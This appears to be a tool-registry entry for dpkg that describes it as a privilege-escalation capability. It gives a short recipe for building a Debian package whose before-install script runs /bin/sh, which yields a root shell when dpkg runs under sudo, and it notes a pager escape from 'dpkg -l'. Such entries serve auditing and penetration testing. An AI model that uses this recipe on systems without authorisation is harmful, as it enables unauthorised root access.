package enabled community medium v1.0.0

dpkg

Debian package manager that can spawn shells via crafted package before-install scripts.

📋 Live Preview 
dpkg {i} {l}
📎 i 📎 l 
dpkg {i} {l}

Sandbox: execFile · Timeout: 60s

Capabilities

security.privilege-escalation.shell
system.package.install
security.execution.command

Parameters

Name Type Required Default Description Aliases
i file No - Install a package -i
l string No - List installed packages -l

Contract

Inputs

system.package.deb

Debian package file

Outputs

process.output

Shell output

Side effects: process_spawnfilesystem_write

Workflow Edges

Produces

process.output

Consumes

system.package.deb

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networklow
Disk I/Omedium

Examples

Spawn shell via crafted Debian package with before-install script

echo 'exec /bin/sh' >x.sh
fpm -n x -s dir -t deb -a all --before-install x.sh .
dpkg -i x_1.0_all.deb

View package list via less pager (can escape to shell)

dpkg -l

Documentation

dpkg — Debian Package Manager

dpkg installs and manages Debian packages. With sudo, it can install a crafted package containing a before-install script that executes arbitrary commands as root.

Related Tools

aptapt-get

References